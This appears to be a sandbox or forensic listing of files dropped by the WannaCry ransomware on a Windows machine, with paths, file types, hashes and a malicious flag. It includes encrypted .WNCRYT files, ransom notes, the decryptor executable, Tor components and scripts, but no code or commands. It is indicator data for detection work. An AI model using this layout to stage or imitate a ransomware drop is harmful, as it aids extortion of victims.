C:\ProgramData\Microsoft\Windows\Caches\{67D69890-D853-4011-A87E-AA64FA83CE5A}.2.ver0x0000000000000002.db.WNCRYT	Type: data MD5: A66A1BDA8E3E02F76E5360B10EA2A95F SHA: 807FF240CB526B92E0C0B9179A4B8FF04E148A85 SHA-256: 932EA95DC9269C3CC50FCABB0773B8E079EF8355062E16739A486B2A9DA1473A SHA-512: E9D3DE59651CE4CA656CD48F90CD6D4A5076ADC191BAD911FDA8E46A8A89D36C4CDFD90387304631055BE1B24542D2883251EA9779CE1A6B877ADE5467BDFDD1	false
C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000007.db.WNCRYT	Type: data MD5: 4B21385D39E1315A21CEC0206539FE4E SHA: EF71388C3DDDB079BFD64BEBA0FA224AA709B915 SHA-256: 67DB4D17EDE3B460CFDE953655832A6F02151032249503C250C648982B4948C7 SHA-512: 82EA2732DAF2817136D286F16CADB1773BC50D4113E57AFE88AEFC3D81F0FCCD53B0F3EF15459D72A48AD1FCE70841EEFE9AA59F21ED0EE514892FEA96D8CB4B	false
C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000b.db.WNCRYT	Type: data MD5: E4EA4FC4124664DD5349E58728EBEB0E SHA: 2762D16CFDC3442042758D51F848FF438BC495F3 SHA-256: F0C47F3F411F9D0118DCC07A37595A508B17CA514DCF92D531A9A006D36DA2F7 SHA-512: 2C654CD1BD9AFDC2ED0E9F466486A3CF1BEF19EAB0AEAB3E16E6B3500E639AB57B7285A7A4F4A7EC9B6388BE7BE5260A85DB6346B94F9D018183C0E539011FD4	false
C:\ProgramData\Microsoft\Windows\Caches\{86012F79-362C-43D2-98EF-AB58A0A31343}.2.ver0x0000000000000001.db.WNCRYT	Type: data MD5: 53E213B80D072B86DA6383D71A036610 SHA: A7ED8449DE0990264FD9F844908BBA1325BDED49 SHA-256: F318FC22CED2011446D0535BB7CE01172A3200C41CCDCBE480ACEA0D476F93CB SHA-512: E9984F2580BC039C9593F47D6BBB05B63FB8FFF38FFCA264A1554F09288B773AB53EA41E28783F7C3BFB3FFB35B182DB1686CDC34EE3E2394510161618C4D473	false
C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db.WNCRYT	Type: data MD5: D4BB268EF2DCF4EFBF6218BBDD6FC3AD SHA: 47070C96E827758585025538E71E4D1E713B1829 SHA-256: D38177DE14334945E13DFC9500441BE224648E08D699284AAB4E1CE65C1E969F SHA-512: 62D5268B8C87462F0B443AA9F2AD9F8E663BC89A0A3A2C1CFF2396A362C1BF625AC1E8966C6D7323DCC7EBB3F70EE4260903036EE8245FD957BC1614E1FEE418	false
C:\ProgramData\Microsoft\Windows\Ringtones\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 01.wma.WNCRYT	Type: data MD5: 156527F91467E388655A4E1FAFD31ECB SHA: 0A79A7813D499780D164F0B69C30EB9EB18253D2 SHA-256: 0EFE7360D2B3E80E9AD3DFE88B91284129C57CC29C1EA43033709C39AB537793 SHA-512: F603D4B6D27D7ACBDBA25CA2DFD9A0D3CB5827798575A8E4FFBF3C4D92674A78D28BB61FF3AD549CE4BEE60F7C2306CDF062DE2C917F7ECD0A22828B00DAD9F0	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 02.wma.WNCRYT	Type: data MD5: 1B58B729B5225A45F8F30544B93A624B SHA: 557655F14F85F30A4C3DF60EF0226CD7671B997B SHA-256: 6A793899F893C4621EEBF282B3B48B64804B5F3A15A19E7E3D5DE114B45AC9BF SHA-512: 5F818CD4449AD954F4D9A22C733CC8CF53230388AEA7D13B44B60475160B91A22EDE06CC149AB252E4A40775909BD4F3F41CC512C839B6FC808E065EC040303E	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 03.wma.WNCRYT	Type: data MD5: 2FD2A8D60AE284162256DE1EE2276D5F SHA: 37D48EA822ACCBED6277C039E9986D7C72A71F2A SHA-256: DEA0548018EC0AE1482D156EFE6954E5FD590BADB61C19CA991669B7A2227C04 SHA-512: 1512747A0A6BA59C790A6F053CCE7784B4114B775DB07C0EA301EEB541D0B2B63F79A7ABC257737D48F59C8E21E067C13D43DF67162E8AB34455FFA317E1F4DB	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 04.wma.WNCRYT	Type: data MD5: B6D086E03B85D0880D9682AA9388FFD1 SHA: DA10E28C179C0EC38D9909CF7250326468BB0B10 SHA-256: 0CEE1E99B760AEEA1753F49ABAB6E1F6B8735EA18E6FEFE89088122746F517A6 SHA-512: B43BB7A03350A2654A79518AEF3AFB8282C0617CE796408723824F82E030F27A4F907DD806773EB33EEFC0A359404C85C36F6AC41C3D11CFF48B8BF1F7F7B8E9	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 05.wma.WNCRYT	Type: data MD5: 4170B4715669EA5461541995F141AB07 SHA: 1AAC3817EBB64D77D59D3E96FB913D1AE44397E9 SHA-256: A28AEE8900788D75C213AE92245B2A60C8F9D45CC1C34F9B9BE949D00FAEF6D6 SHA-512: BB5BADB4C42EA7F261796CAB7750D60E34AEC0C276E2FE71EF4EA604D8F4816A10CAD65508A6C2B3291D1EA3B3ABFC8D745D965C9922D7BA940FFA7896CF596F	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 06.wma.WNCRYT	Type: data MD5: 82D8EF33818DA799D4A551493B0A1422 SHA: 1F7956A46550F73251CD3742473C7247C846AF68 SHA-256: 1BF65B2BF7D7FB1E8895C7BDD9AB7B42EE30F9DDB4C2EFB5A09633D7F248EE67 SHA-512: B94FAABD64BD1174BEE74F27032A2A4734FABE600E1952671E3CD249242FA9CA66C2B74AEBAAB9C3CCE5EE4F009E82C390BE3C59DFDBCABB7D458A3E17725832	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 07.wma.WNCRYT	Type: data MD5: 8127AE5337C8577264A3EDC63CD2010F SHA: 7A285C049CB1091B6B10B88B0F9C41101277FB09 SHA-256: FF4F049DD80361FEEE9CB2F3CFB7A9FA427CFCABDDFE156188801C1A1E50CD37 SHA-512: 2D63FC92D8E98661F63D0639926DF33C49B33C84B4837182F08F367508F86DE01FC34976AAE315B599FF6B7456FE13B1F93B747A1F83B45DADC4A43E4DFB9F45	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 08.wma.WNCRYT	Type: data MD5: 02F31FE174C57BF7C511B8C147C0EE29 SHA: 0064D85EB607A5D6C71989ACE6EF530B4D38EA44 SHA-256: 47D100E57D92E828CDD9D1F0B6227FA38EB54D7075BDE40F62C248A85B508660 SHA-512: AD87EB49E751EDB55149BF3B14BC22F206078E945687A90C17BE95BC0EEA35B3CDFBCCF0A3FC084076C6FA8C241F466349CD0CC760C4D31D8C4F586BEF2F2BD8	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 09.wma.WNCRYT	Type: data MD5: DD2272AAE7605A37BE6DCC0017ABAA71 SHA: DDBF678329CA7665956C11949D65CA26924DA924 SHA-256: 1A9F7719961144DA2D4EF5FA208D1CF343C1D437039153F7042F1BFCA86D80BD SHA-512: 2B4160EA1B0F19E3C87E7CCC3622E857759EC069E959003CA78BF6AFFC62B7444E6B88FBF453E9CA0CF01E83D5245EF3EBDC1AC4DB71994BE7ECC973D81C4370	false
C:\ProgramData\Microsoft\Windows\Ringtones\Ringtone 10.wma.WNCRYT	Type: data MD5: 34B6B2E659B681F90F56108600F99711 SHA: E0F4E4F7B3D925A0B9F06A92D31AE62940FCE769 SHA-256: 44EC59E69B5BA7BE420BEE541DCA617B0302F5FCF624811D9F5B70EF51801088 SHA-512: 59EE063B2B90E710CF270ECD73B7740C841B8119D8A7E0A1127A491A84D49EB47CC2D857256BA72F499A8B5CAB253E8FC4B9E60462F46D52A59D9DB94E2B93BB	false
C:\ProgramData\ywepvofkuzu108\00000000.eky	Type: data MD5: 1AFAFAEE2A0F6E3F3922A6DB87CC2875 SHA: DD554B5A6EBCF0E7979CF37116196CA4F421C9ED SHA-256: 17C4C1B5F7C98EAE8B21280DBB5F73CB8B159ECE97D91853B6E66E684C62D72E SHA-512: 347E54A4F0BEC9BF0422A0B297A577545306023E2717E0A8B4A3101DA971025908C10D7752ED19605D2ABA336DBE8E167BDB1F90305D4A28B364AF076C95AB84	false
C:\ProgramData\ywepvofkuzu108\00000000.pky	Type: b.out overlay separate object file V3.0 Large Data MD5: F9478C1B6988A9D4A3F40170107DB664 SHA: E2C967C984A2FBD7069E7544BF52C59B7F96858F SHA-256: C6585EE83678E528B985DA6FCA6917C64228C2FFB03370F7D8ADD3412A73639A SHA-512: 4B0E4C3A568AE574A1D4E2E6D3406177246E69624849AA4402D4CC21BF8C3CE2E475725D9976675AB76292A61E5B5DBD31D6918D46FC9A737FD08F3004398DE4	false
C:\ProgramData\ywepvofkuzu108\00000000.res	Type: FoxPro FPT, blocks size 31522, next free block index 2979510575 MD5: 7E438D1897A07307B7F35908847A3B00 SHA: A09DB205F1516B6DA336FEE1883062CDCA8B0228 SHA-256: 9A14110CB02D1F45D8CA94C655F96F2979638B0082583653D02E519BD0D32DE9 SHA-512: 233F315858DCDA1F0AD9106179479BE26C81706010D852F1A2113BA791B2DF59CF40C9BFEB2C9631FBEBBB9548CAD65A1623F94D4653B6CCD0C37B0280A207AF	false
C:\ProgramData\ywepvofkuzu108\239891494608079.bat	Type: DOS batch file, ASCII text, with CRLF, CR line terminators MD5: C494B192B9B6B147F1039C2FBB387347 SHA: E2CF4FA066FB700AB3B0D79155A21C9297F93AC0 SHA-256: BC1E4947C1BD6AA02A2BB8F265E69262EFA99B352C422CB7D887E79604037A03 SHA-512: F821AFDBEAF95F98C58B51FF5BB0D8AD68418BA6A41F0DACAC1EB22F4F271E0EB67157ACEEA791EF8B289F481B9D4596614F800027A009DE8BF505D2D1A968D5	false
C:\ProgramData\ywepvofkuzu108\@Please_Read_Me@.txt	Type: data MD5: 7A2726BB6E6A79FB1D092B7F2B688AF0 SHA: B3EFFADCE8B76AEE8CD6CE2ECCBB8701797468A2 SHA-256: 840AB19C411C918EA3E7526D0DF4B9CB002DE5EA15E854389285DF0D1EA9A8E5 SHA-512: 4E107F661E6BE183659FDD265E131A64CCE2112D842226305F6B111D00109A970FDA0B5ABFB1DAA9F64428E445E3B472332392435707C9AEBBFE94C480C72E54	false
C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe	Type: PE32 executable (GUI) Intel 80386, for MS Windows MD5: 7BF2B57F2A205768755C07F238FB32CC SHA: 45356A9DD616ED7161A3B9192E2F318D0AB5AD10 SHA-256: B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25 SHA-512: 91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9	true
C:\ProgramData\ywepvofkuzu108\@WanaDecryptor@.exe.lnk	Type: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri May 12 16:54:39 2017, mtime=Fri May 12 16:54:39 2017, atime=Fri May 12 00:22:56 2017, length=245760, window=hide MD5: 380FE084AD836A4DCDD236D4695FB370 SHA: 1C78147AB1FB2257E8D5D9B7A722EBBD4C40F0A3 SHA-256: 660BA89414429CA08516C9C95C3C7A02EDA12BC73434CD8AA8AD844039C9B568 SHA-512: 318DD4F9F442D0A45A1D19CCA2E986BB6A67B38437D65AE9599C3C79C82DEDD899F369F8B6A9614C96AB23D8D204F57E7891D506895E50D60F80C2A1B0EDB697	true
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libeay32.dll	Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5: 6ED47014C3BB259874D673FB3EAEDC85 SHA: C9B29BA7E8A97729C46143CC59332D7A7E9C1AD8 SHA-256: 58BE53D5012B3F45C1CA6F4897BECE4773EFBE1CCBF0BE460061C183EE14CA19 SHA-512: 3BC462D21BC762F6EEC3D23BB57E2BAF532807AB8B46FAB1FE38A841E5FDE81ED446E5305A78AD0D513D85419E6EC8C4B54985DA1D6B198ACB793230AEECD93E	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent-2-0-5.dll	Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5: 90F50A285EFA5DD9C7FDDCE786BDEF25 SHA: 54213DA21542E11D656BB65DB724105AFE8BE688 SHA-256: 77A250E81FDAF9A075B1244A9434C30BF449012C9B647B265FA81A7B0DB2513F SHA-512: 746422BE51031CFA44DD9A6F3569306C34BBE8ABF9D2BD1DF139D9C938D0CBA095C0E05222FD08C8B6DEAEBEF5D3F87569B08FB3261A2D123D983517FB9F43AE	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_core-2-0-5.dll	Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5: E5DF3824F2FCAD0C75FD601FCF37EE70 SHA: 902418A4C5F3684DBA5E3246DE8C4E21C92D674E SHA-256: 5CD126B4F8C77BDF0C5C980761A9C84411586951122131F13B0640DB83F792D8 SHA-512: 7E70889B46B54175C6BADA7F042F5730CA7E3D156F7B6711FDF453911E4F78D64A2A8769EB8F0E33E826A3B30E623B3CD4DAF899D9D74888BB3051F08CF34461	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libevent_extra-2-0-5.dll	Type: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows MD5: 6D6602388AB232CA9E8633462E683739 SHA: 41072CC983568D8FEEB3E18C4B74440E9D44019A SHA-256: 957D58061A42CA343064EC5FB0397950F52AEDF0594A18867D1339D5FBB12E7E SHA-512: B37BF121EA20FFC16AF040F8797C47FA8588834BC8A8115B45DB23EE5BFBEBCD1E226E9ACAB67B5EE43629A255FEA2CEEE4B3215332DD4127F187EE10244F1C3	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libgcc_s_sjlj-1.dll	Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5: 73D4823075762EE2837950726BAA2AF9 SHA: EBCE3532ED94AD1DF43696632AB8CF8DA8B9E221 SHA-256: 9AECCF88253D4557A90793E22414868053CAAAB325842C0D7ACB0365E88CD53B SHA-512: 8F4A65BD35ED69F331769AAF7505F76DD3C64F3FA05CF01D83431EC93A7B1331F3C818AC7008E65B6F1278D7E365ED5940C8C6B8502E77595E112F1FACA558B5	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\libssp-0.dll	Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5: 78581E243E2B41B17452DA8D0B5B2A48 SHA: EAEFB59C31CF07E60A98AF48C5348759586A61BB SHA-256: F28CAEBE9BC6AA5A72635ACB4F0E24500494E306D8E8B2279E7930981281683F SHA-512: 332098113CE3F75CB20DC6E09F0D7BA03F13F5E26512D9F3BEE3042C51FBB01A5E4426C5E9A5308F7F805B084EFC94C28FC9426CE73AB8DFEE16AB39B3EFE02A	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\ssleay32.dll	Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows MD5: A12C2040F6FDDD34E7ACB42F18DD6BDC SHA: D7DB49F1A9870A4F52E1F31812938FDEA89E9444 SHA-256: BD70BA598316980833F78B05F7EEAEF3E0F811A7C64196BF80901D155CB647C1 SHA-512: FBE0970BCDFAA23AF624DAAD9917A030D8F0B10D38D3E9C7808A9FBC02912EE9DAED293DBDEA87AA90DC74470BC9B89CB6F2FE002393ECDA7B565307FFB7EC00	false
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\taskhsvc.exe	Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D SHA: 53912D33BEC3375153B7E4E68B78D66DAB62671A SHA-256: E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB SHA-512: 8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F	true
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\tor.exe	Type: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows MD5: FE7EB54691AD6E6AF77F8A9A0B6DE26D SHA: 53912D33BEC3375153B7E4E68B78D66DAB62671A SHA-256: E48673680746FBE027E8982F62A83C298D6FB46AD9243DE8E79B7E5A24DCD4EB SHA-512: 8AC6DC5BB016AFC869FCBB713F6A14D3692E866B94F4F1EE83B09A7506A8CB58768BD47E081CF6E97B2DACF9F9A6A8CA240D7D20D0B67DBD33238CC861DEAE8F	true
C:\ProgramData\ywepvofkuzu108\TaskData\Tor\zlib1.dll	Type: PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows MD5: FB072E9F69AFDB57179F59B512F828A4 SHA: FE71B70173E46EE4E3796DB9139F77DC32D2F846 SHA-256: 66D653397CBB2DBB397EB8421218E2C126B359A3B0DECC0F31E297DF099E1383 SHA-512: 9D157FECE0DC18AFE30097D9C4178AE147CC9D465A6F1D35778E1BFF1EFCA4734DD096E95D35FAEA32DA8D8B4560382338BA9C6C40F29047F1CC0954B27C64F8	false
C:\ProgramData\ywepvofkuzu108\b.wnry	Type: PC bitmap, Windows 3.x format, 800 x 600 x 24 MD5: C17170262312F3BE7027BC2CA825BF0C SHA: F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB SHA-256: D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA SHA-512: C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C	false
C:\ProgramData\ywepvofkuzu108\c.wnry	Type: data MD5: 0B6757BC55A8CB69A5C44428B0BF1BEC SHA: DF679B36EC3DDAC8E4E423E00556A261269B488D SHA-256: AF03ECEFA0483863535ACA822286701A24444DB9D918BA3353A034ECBF0B966B SHA-512: 066765A48BCC12C2C903C566C37045BFF1BE2704C311DF5AB2AFB78571142EA7299FFF25EE3C684CB3851D663A33273C73B0F2A856DB9CFD1D045A15C047B9C7	false
C:\ProgramData\ywepvofkuzu108\f.wnry	Type: ASCII text, with CRLF line terminators MD5: 170E7C0E4C22BA4F97BB994BD9F5EE77 SHA: 8CA3F68F6D9F05BA2883789CA0873B74970D94E1 SHA-256: 5771ABFB040FCF48F21FC1FDCBB2CC33DD8FE847ADDE7AB6BBB2CE87C3295F2E SHA-512: 97486B7B20E83DDBDDFB7CE8ABE5A298765860D28FA77A84597F03B7BEE139CB8C332C92E3402C51D3E366CFA7128FAFE620DC6F1DA53F6E27B653009F51CCD7	false
C:\ProgramData\ywepvofkuzu108\m.vbs	Type: ASCII text, with CRLF line terminators MD5: 1FDB955EC5D889C13EA5146585AF061F SHA: C7557CBA1A45B9A18E970590A8BC6DAF5F89C052 SHA-256: BFE375DD8FF5EEEDBE19F430ED8564C05B7C9C3DEC51D6BCB72C6C8850646EC5 SHA-512: 2161B7C72DA8A2E1212CD4C0AD8D96D295C4E3059D9876BF75A5BDF453F3001BA50A9381326972736AB3652A079F4125BAE0F4754ECF488BB8829B30F7DACCC5	true
C:\ProgramData\ywepvofkuzu108\msg\m_bulgarian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 95673B0F968C0F55B32204361940D184 SHA: 81E427D15A1A826B93E91C3D2FA65221C8CA9CFF SHA-256: 40B37E7B80CF678D7DD302AAF41B88135ADE6DDF44D89BDBA19CF171564444BD SHA-512: 7601F1883EDBB4150A9DC17084012323B3BFA66F6D19D3D0355CF82B6A1C9DCE475D758DA18B6D17A8B321BF6FCA20915224DBAEDCB3F4D16ABFAF7A5FC21B92	false
C:\ProgramData\ywepvofkuzu108\msg\m_chinese (simplified).wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 0252D45CA21C8E43C9742285C48E91AD SHA: 5C14551D2736EEF3A1C1970CC492206E531703C1 SHA-256: 845D0E178AEEBD6C7E2A2E9697B2BF6CF02028C50C288B3BA88FE2918EA2834A SHA-512: 1BFCF6C0E7C977D777F12BD20AC347630999C4D99BD706B40DE7FF8F2F52E02560D68093142CC93722095657807A1480CE3FB6A2E000C488550548C497998755	false
C:\ProgramData\ywepvofkuzu108\msg\m_chinese (traditional).wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 2EFC3690D67CD073A9406A25005F7CEA SHA: 52C07F98870EABACE6EC370B7EB562751E8067E9 SHA-256: 5C7F6AD1EC4BC2C8E2C9C126633215DABA7DE731AC8B12BE10CA157417C97F3A SHA-512: 0766C58E64D9CDA5328E00B86F8482316E944AA2C26523A3C37289E22C34BE4B70937033BEBDB217F675E40DB9FECDCE0A0D516F9065A170E28286C2D218487C	false
C:\ProgramData\ywepvofkuzu108\msg\m_croatian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 17194003FA70CE477326CE2F6DEEB270 SHA: E325988F68D327743926EA317ABB9882F347FA73 SHA-256: 3F33734B2D34CCE83936CE99C3494CD845F1D2C02D7F6DA31D42DFC1CA15A171 SHA-512: DCF4CCF0B352A8B271827B3B8E181F7D6502CA0F8C9DDA3DC6E53441BB4AE6E77B49C9C947CC3EDE0BF323F09140A0C068A907F3C23EA2A8495D1AD96820051C	false
C:\ProgramData\ywepvofkuzu108\msg\m_czech.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 537EFEECDFA94CC421E58FD82A58BA9E SHA: 3609456E16BC16BA447979F3AA69221290EC17D0 SHA-256: 5AFA4753AFA048C6D6C39327CE674F27F5F6E5D3F2A060B7A8AED61725481150 SHA-512: E007786FFA09CCD5A24E5C6504C8DE444929A2FAAAFAD3712367C05615B7E1B0FBF7FBFFF7028ED3F832CE226957390D8BF54308870E9ED597948A838DA1137B	false
C:\ProgramData\ywepvofkuzu108\msg\m_danish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 2C5A3B81D5C4715B7BEA01033367FCB5 SHA: B548B45DA8463E17199DAAFD34C23591F94E82CD SHA-256: A75BB44284B9DB8D702692F84909A7E23F21141866ADF3DB888042E9109A1CB6 SHA-512: 490C5A892FAC801B853C348477B1140755D4C53CA05726AC19D3649AF4285C93523393A3667E209C71C80AC06FFD809F62DD69AE65012DCB00445D032F1277B3	false
C:\ProgramData\ywepvofkuzu108\msg\m_dutch.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 7A8D499407C6A647C03C4471A67EAAD7 SHA: D573B6AC8E7E04A05CBBD6B7F6A9842F371D343B SHA-256: 2C95BEF914DA6C50D7BDEDEC601E589FBB4FDA24C4863A7260F4F72BD025799C SHA-512: 608EF3FF0A517FE1E70FF41AEB277821565C5A9BEE5103AA5E45C68D4763FCE507C2A34D810F4CD242D163181F8341D9A69E93FE32ADED6FBC7F544C55743F12	false
C:\ProgramData\ywepvofkuzu108\msg\m_english.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: FE68C2DC0D2419B38F44D83F2FCF232E SHA: 6C6E49949957215AA2F3DFB72207D249ADF36283 SHA-256: 26FD072FDA6E12F8C2D3292086EF0390785EFA2C556E2A88BD4673102AF703E5 SHA-512: 941FA0A1F6A5756ED54260994DB6158A7EBEB9E18B5C8CA2F6530C579BC4455918DF0B38C609F501CA466B3CC067B40E4B861AD6513373B483B36338AE20A810	false
C:\ProgramData\ywepvofkuzu108\msg\m_filipino.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 08B9E69B57E4C9B966664F8E1C27AB09 SHA: 2DA1025BBBFB3CD308070765FC0893A48E5A85FA SHA-256: D8489F8C16318E524B45DE8B35D7E2C3CD8ED4821C136F12F5EF3C9FC3321324 SHA-512: 966B5ED68BE6B5CCD46E0DE1FA868CFE5432D9BF82E1E2F6EB99B2AEF3C92F88D96F4F4EEC5E16381B9C6DB80A68071E7124CA1474D664BDD77E1817EC600CB4	false
C:\ProgramData\ywepvofkuzu108\msg\m_finnish.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 35C2F97EEA8819B1CAEBD23FEE732D8F SHA: E354D1CC43D6A39D9732ADEA5D3B0F57284255D2 SHA-256: 1ADFEE058B98206CB4FBE1A46D3ED62A11E1DEE2C7FF521C1EEF7C706E6A700E SHA-512: 908149A6F5238FCCCD86F7C374986D486590A0991EF5243F0CD9E63CC8E208158A9A812665233B09C3A478233D30F21E3D355B94F36B83644795556F147345BF	false
C:\ProgramData\ywepvofkuzu108\msg\m_french.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 4E57113A6BF6B88FDD32782A4A381274 SHA: 0FCCBC91F0F94453D91670C6794F71348711061D SHA-256: 9BD38110E6523547AED50617DDC77D0920D408FAEED2B7A21AB163FDA22177BC SHA-512: 4F1918A12269C654D44E9D394BC209EF0BC32242BE8833A2FBA437B879125177E149F56F2FB0C302330DEC328139B34982C04B3FEFB045612B6CC9F83EC85AA9	false
C:\ProgramData\ywepvofkuzu108\msg\m_german.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 3D59BBB5553FE03A89F817819540F469 SHA: 26781D4B06FF704800B463D0F1FCA3AFD923A9FE SHA-256: 2ADC900FAFA9938D85CE53CB793271F37AF40CF499BCC454F44975DB533F0B61 SHA-512: 95719AE80589F71209BB3CB953276538040E7111B994D757B0A24283AEFE27AADBBE9EEF3F1F823CE4CABC1090946D4A2A558607AC6CAC6FACA5971529B34DAC	false
C:\ProgramData\ywepvofkuzu108\msg\m_greek.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: FB4E8718FEA95BB7479727FDE80CB424 SHA: 1088C7653CBA385FE994E9AE34A6595898F20AEB SHA-256: E13CC9B13AA5074DC45D50379ECEB17EE39A0C2531AB617D93800FE236758CA9 SHA-512: 24DB377AF1569E4E2B2EBCCEC42564CEA95A30F1FF43BCAF25A692F99567E027BCEF4AACEF008EC5F64EA2EEF0C04BE88D2B30BCADABB3919B5F45A6633940CB	false
C:\ProgramData\ywepvofkuzu108\msg\m_indonesian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 3788F91C694DFC48E12417CE93356B0F SHA: EB3B87F7F654B604DAF3484DA9E02CA6C4EA98B7 SHA-256: 23E5E738AAD10FB8EF89AA0285269AFF728070080158FD3E7792FE9ED47C51F4 SHA-512: B7DD9E6DC7C2D023FF958CAF132F0544C76FAE3B2D8E49753257676CC541735807B4BEFDF483BCAE94C2DCDE3C878C783B4A89DCA0FECBC78F5BBF7C356F35CD	false
C:\ProgramData\ywepvofkuzu108\msg\m_italian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 30A200F78498990095B36F574B6E8690 SHA: C4B1B3C087BD12B063E98BCA464CD05F3F7B7882 SHA-256: 49F2C739E7D9745C0834DC817A71BF6676CCC24A4C28DCDDF8844093AAB3DF07 SHA-512: C0DA2AAE82C397F6943A0A7B838F60EEEF8F57192C5F498F2ECF05DB824CFEB6D6CA830BF3715DA7EE400AA8362BD64DC835298F3F0085AE7A744E6E6C690511	false
C:\ProgramData\ywepvofkuzu108\msg\m_japanese.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: B77E1221F7ECD0B5D696CB66CDA1609E SHA: 51EB7A254A33D05EDF188DED653005DC82DE8A46 SHA-256: 7E491E7B48D6E34F916624C1CDA9F024E86FCBEC56ACDA35E27FA99D530D017E SHA-512: F435FD67954787E6B87460DB026759410FBD25B2F6EA758118749C113A50192446861A114358443A129BE817020B50F21D27B1EBD3D22C7BE62082E8B45223FC	false
C:\ProgramData\ywepvofkuzu108\msg\m_korean.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: 6735CB43FE44832B061EEB3F5956B099 SHA: D636DAF64D524F81367EA92FDAFA3726C909BEE1 SHA-256: 552AA0F82F37C9601114974228D4FC54F7434FE3AE7A276EF1AE98A0F608F1D0 SHA-512: 60272801909DBBA21578B22C49F6B0BA8CD0070F116476FF35B3AC8347B987790E4CC0334724244C4B13415A246E77A577230029E4561AE6F04A598C3F536C7E	false
C:\ProgramData\ywepvofkuzu108\msg\m_latvian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: C33AFB4ECC04EE1BCC6975BEA49ABE40 SHA: FBEA4F170507CDE02B839527EF50B7EC74B4821F SHA-256: A0356696877F2D94D645AE2DF6CE6B370BD5C0D6DB3D36DEF44E714525DE0536 SHA-512: 0D435F0836F61A5FF55B78C02FA47B191E5807A79D8A6E991F3115743DF2141B3DB42BA8BDAD9AD259E12F5800828E9E72D7C94A6A5259312A447D669B03EC44	false
C:\ProgramData\ywepvofkuzu108\msg\m_norwegian.wnry	Type: Rich Text Format data, version 1, unknown character set MD5: FF70CC7C00951084175D12128CE02399 SHA: 75AD3B1AD4FB14813882D88E952208C648F1FD18 SHA-256: CB5DA96B3DFCF4394713623DBF3831B2A0B8BE63987F563E1C32EDEB74CB6C3A SHA-512: F01DF3256D49325E5EC49FD265AA3F176020C8FFEC60EB1D828C75A3FA18FF8634E1DE824D77DFDD833768ACFF1F547303104620C70066A2708654A07EF22E19	false
